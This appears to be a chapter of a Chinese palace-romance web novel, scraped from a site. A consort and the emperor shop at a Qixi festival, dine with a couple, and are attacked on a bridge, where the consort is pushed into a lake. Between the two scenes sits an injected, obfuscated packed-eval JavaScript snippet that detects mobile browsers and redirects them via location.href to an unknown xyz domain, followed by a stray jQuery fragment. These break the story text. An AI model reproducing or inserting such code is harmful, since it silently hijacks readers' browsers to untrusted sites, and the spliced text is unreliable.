戚妤低头看着手腕上的彩绳,满意地将手放下。
因为佩玖不在这里,她将另一条送给了乌时晏,并帮他戴上。
便又继续往前走。
凡是戚妤看上的东西,总不吝啬买下,若是乌时晏戴着也合适,便会买两个。
两人一路走走停停,因为天色渐暗,人多了起来。
不知道从哪个铺子出来时,乌时晏已经牵住了戚妤的手,他道:“人多,以免被分开。”
戚妤信服地点点头,这之后,因为被乌时晏牵着,她买东西没有多到拿不住才递给乌时晏让他交给佩玖他们,而是把玩过后便顺手给了乌时晏。
街上热热闹闹,戚妤注意力总会被新颖的东西吸引,他们站在一个杂技前,杂耍人在表演喷火,唬的周遭叫好连连。
戚妤将碎铜板投进装赏银的木盘中。
乌时晏自始至终除了戚妤再没入眼其他任何事物。
她为他戴手绳,她提着兔子花灯拉着他往前走,她停下试戴没什么出彩的木簪,只因摊主舌灿莲花,便笑盈盈买下了好几支。
当然,这些灯笼、木簪,甚至是买下的不合时节的纸鸢都被戚妤新鲜够了递给了他。
然后她的身上又添了别的新奇玩意儿,譬如说腰上的铃铛和如意锁,发上的小玉扣,手上绣有桃花的团扇。
至于买过的胭脂水粉,香膏帕子,金银玉饰,还有布匹,则交给了侍卫带走。
现在杂耍喷起的火焰忽然盛大,将戚妤的发丝都照耀的金灿灿。
乌时晏的目光霎时柔和下来。
戚妤正入神,身旁忽然出现了一个戴着傩戏面具,穿着胭脂色衣裙的女子,面具将她的脸完全遮住,但仍能看出她的气质文雅。
察觉乌时晏没有将人隔开,戚妤又往后看去,落后女子几步的是个同样带有黑红面具,穿着花青蓝袍的男子,而他们旁边,则站着月鹭。
戚妤笑起来,这时女子也将面具取下,露出一张与她肖似的面孔。
戚妤眼睛亮晶晶地:“赵夫人,你们的面具是在哪儿买的?”
实在是太酷了!
赵婉仪道:“就在前面那个摊子,我领你去。唤我婉仪即可。”
想到赵婉仪的芳龄比她大一岁,戚妤唤道:“赵姐姐。”
赵婉仪的心弦被这声姐姐拨乱,久久不能平息。
一旁的裴谨将面具揭下,对着乌时晏恭敬颔首。
裴谨到底是和乌时晏有过兄弟般的交情,乌时晏并未冷脸,不过也没寒暄,仅淡淡点头便将目光重新放到了戚妤身上。
戚妤松开乌时晏,拉着赵婉仪的手去卖面具的摊子。
赵婉仪没有注意到这一幕,乌时晏站在戚妤左侧,而他们是从右边来的,自然无从得见两人袖中牵起的手。
裴谨则将这一幕收入眼底,并特意去看了乌时晏一眼,但因戚妤和赵婉仪在一起,即便看清了陛下视线停留的方向,也不好判断这是在看谁。
且他谨守本分,自知不该将目光落到戚妤身上,便收回了视线。
原本赵婉仪对乞巧节是没有半分兴趣的。
她只感兴趣她手中的铺子会在今日赚多少钱,但突兀地,下午时她却忽然提出要出门。
他们在街上转了一刻钟,只买了两个面具,直至赵婉仪发现戚妤并走上前,裴谨方知道她今日的目的。
而陛下,却恰好陪在贵妃身边。
裴谨看了一眼赵婉仪发髻中的金簪,心中有了隐忧。
戚妤和赵婉仪已经来到了摊子面前,戚妤对只能遮半张脸的面具不敢兴趣,挑了两个和赵婉仪裴谨相似的面具,细看之下只有色彩与纹路有所不同。
付过银子后,戚妤习惯性地找乌时晏帮她戴,而后将另一个递给乌时晏。
乌时晏也戴上了面具。
戚妤瞧了乌时晏两眼,不由笑了起来。
赵婉仪、裴谨见此也将面具戴上。
四人往前面走,后面的月鹭被不远不近跟着的佩玖发现,将她拉了过来。
月鹭拍开她的手:“我要跟着姑娘。”
佩玖道:“我们娘娘还没带奴婢呢,你跟得太近,陛下会不喜。喏,吃糖葫芦吗?”
幸好她有先见之明地见娘娘带上银子,她也带上了。
娘娘在前面买,她则在后面买,加上有侍卫在,根本不怕跟丢。
月鹭听到陛下,便没了脾气,她接过佩玖多买的一串糖葫芦,用帕子托着咬起来。
戚妤又转了一会儿,买足了东西,也满足了好奇心。
便与赵婉仪说笑起来。
几乎天天通信拉近了两人的距离,她们关系极为融洽,也格外有默契。
乌时晏敛眉,阿妤和赵婉仪什么时候这么熟稔了?
好像自从他对阿妤说过他们之间不必提起赵婉仪,便对此一无所知了。
这时,人流忽然大起来,戚妤扭头,不见赵婉仪,她旁边站着一道身影,她原以为是乌时晏,便伸出手。
却在余光瞥见一片蓝色衣袍时猛然意识到这是裴谨,她的指尖从裴谨衣袖处划过。
下一瞬,乌时晏伸出手,抓住了戚妤尚未收回的手。
他将戚妤的手握紧,将人往怀里带,脸色不甚好看。
裴谨恍惚间也有一瞬认错,但他和赵婉仪从未有过亲密举止,很快便清醒过来,可尤是如此,他的脚步还是顿了一下。
因为他认出那是戚妤。
戚妤摸了摸耳朵,有些尴尬,但方才的动作太小,应该不会有人注意到,她便宽心地将此事放下了。
因乌时晏戴着面具,看不到表情,她也只以为乌时晏拉她是怕与她分离。
微妙的气氛在三人间流动,偏戚妤一点都没察觉。
她将面具取下,露出如画般的容貌。
她想快些找到赵婉仪,戴面具会遮挡视线。
而乌时晏见戚妤取下面具,裴谨的眼珠子却看了过来,便下意识将手抚上戚妤脑袋一侧,往他怀里轻按。
他带有一层压迫,寒霜般的目光在空中与裴谨怔愣的视线交汇。
裴谨慢慢将视线移开。
陛下竟然会觉得他觊觎贵妃,戚妤不是当年的女童,他自然不会对她起任何念头。
陛下以为天底下的男子都和他一样……不堪吗?
乌时晏低头,对戚妤道:“有风。”
戚妤没深究他的话术。
他们很快寻到了赵婉仪。
人一多,便不适合再游玩。
上次赵婉仪在信中提起的酒楼名为食鼎楼,其中菜膳是为一绝,戚妤便道:“我在食鼎楼预定了一个雅间,我们去那里用膳可好?”
其余三人均没有异议,同时将面具收了起来。
戚妤见此不由轻笑一声,三人摘面具的动作是一个赛一个的利落。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140569|180138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
食鼎楼,二楼雅间。
听着一楼台子上坐着的说书人在讲关于乞巧节的故事,戚妤将身上的小饰品取下,分作几堆放好。
因为手绳太轻,犹豫过后,便没摘下来。
最后,她将面具巧妙地立在了中间那堆东西上。
身上一下子轻了很多,戚妤会心一笑。
赵婉仪静静看着这一幕,脑海中浮现一段画面。
呆在闺房中的小姑娘认真摆弄着丫鬟从市井中买回来后,她又玩儿腻了的东西,其中有一个是绘着猫脸的面具,她习惯将东西分作几堆,最后对着面具却犯了难。
小姑娘思索过后,将面具立在了最中间那堆东西上,方才满意。
可小姑娘兴趣来的快,散的也快,她很快便将其抛之脑后,唤起嬷嬷。
这是她的孪生妹妹,她其实并不比戚妤大一岁,而是与她同岁。
只是当年,赵家夫妻只能带走一个人,顶替他们刚逝去的女儿,“赵婉仪”才是芳龄十九。
她名义上的母亲,实则是亲姑母,冒着巨大风险救了她们姐妹中的一个,而妹妹纯善,将唯一的的机会推给了她,自己则跟着嬷嬷,往河东郡的方向逃去。
自此,生死不明。
戚妤身上有太多相似的特征,让她忍不住又试探了一次。
赵婉仪眼中潮湿起来,片刻后,四人落座,开始用膳,她掩下了情绪,目光变得异常坚定。
戚妤津津有味地听着说书人讲故事,连乌时晏的话都没顾得上应。
她见到乌时晏给她布膳,便低头慢条斯理地将碗里的食物吃掉。
乖的像猫一样。
外面的天已经完全黑了,但到处都有扎缚灯棚,悬挂灯笼,说一句亮如白昼都不为过。
用过膳后,戚妤便提议去看看内河附近的景色。
京城外有一条河流经过,有一条分支流进京城,京中人便称这条河为内河,内河的水流并不湍急,在京中形成了一个湖。
湖面稍窄的地方建了一座桥,已有百年历史,因桥身有鹊的形状,久而久之便称为鹊桥,每当乞巧节时,鹊桥附近总会很热闹。
加上湖面在夜晚灯笼的光晕下波光粼粼,煞是漂亮,湖上又有几座雕栏玉砌的画舫,寻欢作乐声不绝,气氛自然好。
裴谨一听戚妤说的模糊,便知道她对这些是一知半解,不然就该包下画舫去赏景了。
裴谨没有扫兴,点头应下。
乌时晏妇唱夫随。
赵婉仪道好。
到鹊桥附近时,已经很晚了,但路上人流仍然不减。
戚妤没有被败兴致,而是与乌时晏走上鹊桥,环顾欣赏起来。
湖上的景色确实很美。
这时,她听到藏在人群中一声轻微的摔盏声,紧接着,人流忽然混乱起来。
戚妤想要提醒乌时晏,余光却闪过刀刃的反光,暗处的人不光是冲乌时晏来的,她也在其中!
戚妤鼻尖渗出汗珠,不等她躲避,乌时晏猛地将她推开,刀重重劈在桥的栏杆上,木屑横飞。
只差一点!
乌时晏去夺刀,戚妤看见林七现身,往她这边赶来。
她不想给乌时晏添麻烦,便朝林七跑去,却被人群中伸出的手推进了湖中。
因为跑起来速度未减,她落湖的很干脆。
在坠湖的前一秒,戚妤挣扎着想,还好不是冬天。